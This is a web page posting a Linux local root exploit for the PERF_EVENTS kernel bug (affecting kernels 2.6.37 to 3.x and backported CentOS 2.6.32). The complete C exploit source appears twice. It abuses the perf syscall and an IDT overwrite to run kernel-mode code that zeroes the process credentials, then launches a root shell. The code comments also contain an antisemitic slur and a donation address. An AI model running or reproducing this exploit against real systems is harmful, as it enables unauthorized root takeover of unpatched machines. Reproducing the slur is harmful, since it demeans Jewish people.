Linux PERF_EVENTS Local Root Linux local root exploit that requires that PERF_EVENTS be compiled into the kernel. This has been fixed in 3.8.10. This bug apparently got backported from 2.6.37 into CentOS5 2.6.32 kernels.
Code:
/** linux 2.6.37-3.x.x x86_64, ~100 LOC* gcc-4.6 -O2 semtex.c && ./a.out* 2010 sd@fucksheep.org, salut!** update may 2013:* seems like centos 2.6.32 backported the perf bug, lol.* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.*/
#define _GNU_SOURCE 1#include <stdint.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/mman.h>#include <syscall.h>#include <stdint.h>#include <assert.h>
#define BASE 0x380000000#define SIZE 0x010000000#define KSIZE 0x2000000#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() { int i,j,k; uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) }; uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192)); uint64_t kbase = ((uint64_t)current)>>36; uint32_t *fixptr = (void*) AB(1); *fixptr = -1;
for (i=0; i<4000; i+=4) { uint64_t *p = (void *)¤t[i]; uint32_t *t = (void*) p[0]; if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; for (j=0; j<20; j++) { for (k = 0; k < 8; k++) if (((uint32_t*)uids)[k] != t[j+k]) goto next; for (i = 0; i < 8; i++) t[j+i] = 0; for (i = 0; i < 10; i++) t[j+9+i] = -1; return;next:; } }}
void sheep(uint32_t off) { uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 }; int fd = syscall(298, buf, 0, -1, -1, 0); assert(!close(fd));}
int main() { uint64_t u,g,needle, kbase, *p; uint8_t *code; uint32_t *map, j = 5; int i; struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); memset(map, 0, SIZE); sheep(-1); sheep(-2); for (i = 0; i < SIZE/4; i++) if (map[i]) { assert(map[i+1]); break; } assert(i<SIZE/4); asm ("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000; u = getuid(); g = getgid(); assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024); memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27); setresuid(u,u,u); setresgid(g,g,g); while (j--) { needle = AB(j+1); assert(p = memmem(code, 1024, &needle, 8)); if (!p) continue; *p = j?((g<<32)|u):(idt.addr + 0x48); } sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16); asm("int $0x4"); assert(!setuid(0)); return execl("/bin/bash", "-sh", NULL);}
Code:
/** linux 2.6.37-3.x.x x86_64, ~100 LOC* gcc-4.6 -O2 semtex.c && ./a.out* 2010 sd@fucksheep.org, salut!** update may 2013:* seems like centos 2.6.32 backported the perf bug, lol.* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.*/
#define _GNU_SOURCE 1#include <stdint.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/mman.h>#include <syscall.h>#include <stdint.h>#include <assert.h>
#define BASE 0x380000000#define SIZE 0x010000000#define KSIZE 0x2000000#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
void fuck() { int i,j,k; uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) }; uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192)); uint64_t kbase = ((uint64_t)current)>>36; uint32_t *fixptr = (void*) AB(1); *fixptr = -1;
for (i=0; i<4000; i+=4) { uint64_t *p = (void *)¤t[i]; uint32_t *t = (void*) p[0]; if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; for (j=0; j<20; j++) { for (k = 0; k < 8; k++) if (((uint32_t*)uids)[k] != t[j+k]) goto next; for (i = 0; i < 8; i++) t[j+i] = 0; for (i = 0; i < 10; i++) t[j+9+i] = -1; return;next:; } }}
void sheep(uint32_t off) { uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 }; int fd = syscall(298, buf, 0, -1, -1, 0); assert(!close(fd));}
int main() { uint64_t u,g,needle, kbase, *p; uint8_t *code; uint32_t *map, j = 5; int i; struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); memset(map, 0, SIZE); sheep(-1); sheep(-2); for (i = 0; i < SIZE/4; i++) if (map[i]) { assert(map[i+1]); break; } assert(i<SIZE/4); asm ("sidt %0" : "=m" (idt)); kbase = idt.addr & 0xff000000; u = getuid(); g = getgid(); assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024); memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27); setresuid(u,u,u); setresgid(g,g,g); while (j--) { needle = AB(j+1); assert(p = memmem(code, 1024, &needle, 8)); if (!p) continue; *p = j?((g<<32)|u):(idt.addr + 0x48); } sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16); asm("int $0x4"); assert(!setuid(0)); return execl("/bin/bash", "-sh", NULL);}
Comments
Post a Comment